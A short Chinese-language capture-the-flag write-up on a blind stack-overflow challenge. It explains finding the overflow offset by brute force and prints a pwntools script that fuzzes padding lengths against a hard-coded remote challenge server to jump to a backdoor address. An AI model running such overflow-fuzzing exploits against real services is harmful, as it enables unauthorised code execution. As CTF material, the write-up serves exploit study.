分析

一道盲打题。(fuzz / 模糊测试)

没有给附件,nc上去过后给了一个地址0x40060d

盲猜存在栈溢出,尝试一下打进这个地址。但是由于溢出点距离rbp的偏移未知,所以直接写了个脚本爆破。最后发现距离rbp的偏移是0x40,系统是x64的,所以一共填充0x48个垃圾数据。

(由于在try的过程中,结果不一定是我们想要的,所以还是要把回显打印出来看一下,如果不是的话就ctrl+shift+c中断,然后继续爆破)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
#context.log_level = 'debug'
backdoor = 0x40060d

def fuzz(p, len, flag):
pay = 'a'*len
if flag == 0:
pay += p32(backdoor)
else:
pay += p64(backdoor)
p.recvuntil('>')
p.sendline(pay)
#p.interactive()

for i in range(100):
print i
for j in range(2):
try:
io = remote('111.200.241.244', 53338)
fuzz(io, i, j)
text = io.recv()
print 'len='+str(i)+' flag='+str(j)
print text
io.interactive()
except:
io.close()